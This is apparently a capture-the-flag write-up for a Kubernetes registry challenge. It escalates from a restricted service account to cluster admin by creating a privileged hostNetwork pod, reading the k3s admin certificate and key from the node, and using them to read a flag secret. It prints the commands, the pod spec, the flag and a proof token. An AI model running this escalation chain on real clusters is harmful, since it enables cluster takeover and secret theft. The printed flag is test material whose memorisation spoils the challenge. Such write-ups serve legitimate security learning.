SecureTrust Cluster Registry
The challenge is a Kubernetes container-registry portal. From a highly restricted service-account, the goal is to reach full cluster admin (system:masters) and read a secret containing…
Target: https://registry.kube1.thesecuretrust.com
The challenge is a Kubernetes container-registry portal. From a highly restricted
service-account, the goal is to reach full cluster admin (system:masters) and read a
secret containing the flag.
Step 1 — Obtain the player kubeconfig
The portal (a Next.js app fronting the k8s API server on the same host) exposes a downloadable, RBAC-restricted kubeconfig.
curl -sk -o player-kubeconfig.yaml \
https://registry.kube1.thesecuretrust.com/player-kubeconfig-external.yamlIt contains a service-account token for system:serviceaccount:securetrust-web:player-access-sa
and the API server at https://registry.kube1.thesecuretrust.com, context namespace securetrust-web.
Step 2 — Inspect RBAC permissions
Because player-access-sa cannot list most resources, we enumerate effective rights with a
SelfSubjectRulesReview scoped to securetrust-web:
TOK=$(grep token kubeconfig.yaml | awk '{print $2}')
B="https://registry.kube1.thesecuretrust.com"
curl -sk -X POST "$B/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"securetrust-web"}}'Result:
verbs: get, list, create
resources: pods, pods/execSo inside securetrust-web we can create pods and open an exec session, but nothing
else. (A bare cluster-scoped SAR fails; the rules are namespace-scoped.)
Step 3 — Create a privileged hostNetwork pod mounting host / at /host
The only privilege we can grant ourselves is a privileged pod, since create is allowed. We launch a pod with:
hostNetwork: true→ shares the node network namespace, so loopback127.0.0.1:6443reaches the in-cluster API server.hostPath: /mounted at/host→ read the node filesystem.privileged: true(and root user), imagealpine:3.20for exec.
cat > pod.json <<'EOF'
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"pwn","namespace":"securetrust-web"},
"spec":{"hostNetwork":true,"restartPolicy":"Never",
"containers":[{"name":"c","image":"alpine:3.20","command":["/bin/sh","-c","sleep 3600"],
"securityContext":{"privileged":true},
"volumeMounts":[{"name":"h","mountPath":"/host"}]}],
"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
EOF
kubectl -n securetrust-web apply -f pod.jsonNote:
alpinelackscurland busyboxwgethas no client-cert TLS options. Later we re-created a second pod withcurlimages/curl:latestandrunAsUser: 0so we could usecurl --cacert/--cert/--keyagainst the local API server.
Step 4 — Read the k3s node credentials
The k3s control-plane runs on the node. With host / mounted at /host, the admin PKI is
readable from inside the pod:
kubectl -n securetrust-web exec pwn -- ls /host/var/lib/rancher/k3s/server/tls/Copy the admin credential set and the CA into the pod (or extract them locally):
- CA:
/host/var/lib/rancher/k3s/server/tls/server-ca.crt - cert:
/host/var/lib/rancher/k3s/server/tls/client-admin.crt - key:
/host/var/lib/rancher/k3s/server/tls/client-admin.key
Also present on the node:
/host/opt/gencys-k8s/securetrust.yaml— organizer admin kubeconfig/host/var/lib/rancher/k3s/server/token— node bootstrap token
Step 5 — Reach the API server directly and authenticate as admin
Because the pod is on hostNetwork, it can reach the API server at
https://127.0.0.1:6443 without going through the external reverse proxy (which terminates
TLS with a public cert and does not relay client certs).
kubectl -n securetrust-web exec pwn -- sh -c '
mkdir -p /certs
cp /host/var/lib/rancher/k3s/server/tls/server-ca.crt /certs/ca.crt
cp /host/var/lib/rancher/k3s/server/tls/client-admin.crt /certs/admin.crt
cp /host/var/lib/rancher/k3s/server/tls/client-admin.key /certs/admin.key
chmod 644 /certs/*
curl -s --cacert /certs/ca.crt --cert /certs/admin.crt --key /certs/admin.key \
https://127.0.0.1:6443/apis/authentication.k8s.io/v1/selfsubjectreviews \
-H "Content-Type: application/json" \
-d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"SelfSubjectReview\",\"spec\":{}}"
'Confirmation:
"userInfo": {
"username": "system:admin",
"groups": ["system:masters", "system:authenticated"]
}Full cluster admin achieved.
Step 6 — Read the flag secret
curl -s --cacert /certs/ca.crt --cert /certs/admin.crt --key /certs/admin.key \
https://127.0.0.1:6443/api/v1/namespaces/securetrust-payments/secrets/payments-flag-keyThe secret contains three base64 fields. Decode CURRENT_FLAG:
echo "VVNUX0dlbkN5U19DVEZ7ZTI1ZDExZjBiMjUyODYwY2U2YTg5M2U0MzM4MTM4NWMzZmY5MTMzM2QxZWIyZTg5ZGZjOWI5ZWJmMWRmZTlmYn0=" | base64 -dFlag
UST_GenCyS_CTF{e25d11f0b252860ce6a893e43381385c3ff91333d1eb2e89dfc9b9ebf1dfe9fb}Proof token (from the same secret):
GenCyS_PROOF{rbac-payments-8f9c83941a2f1da5938747ce}Cleanup
The player SA cannot delete pods, so delete them through the admin identity inside the pod:
kubectl -n securetrust-web exec pwn -- sh -c '
for p in pwn curlpod; do
curl -s --cacert /certs/ca.crt --cert /certs/admin.crt --key /certs/admin.key \
-X DELETE "https://127.0.0.1:6443/api/v1/namespaces/securetrust-web/pods/$p?gracePeriodSeconds=0"
done
'Key takeaways
- Read the RBAC, not just the YAML.
SelfSubjectRulesReviewreversed the assumption that we were locked out—the restrictions were namespace-scoped. - Grant least privilege to the pod, not least privilege broadly. An over-broad
create podspermission, combined with an unrestrictedsecurityContext, is enough to pivot from SA → node →system:masters. - hostNetwork gives the loopback. Reaching the k8s API on
127.0.0.1:6443bypasses the external ingress/proxy TLS, allowing client-cert auth directly. - Handling of node PKI. The k3s
client-admincert maps tosystem:admin/system:masters, effectively the organizer's kubeconfig.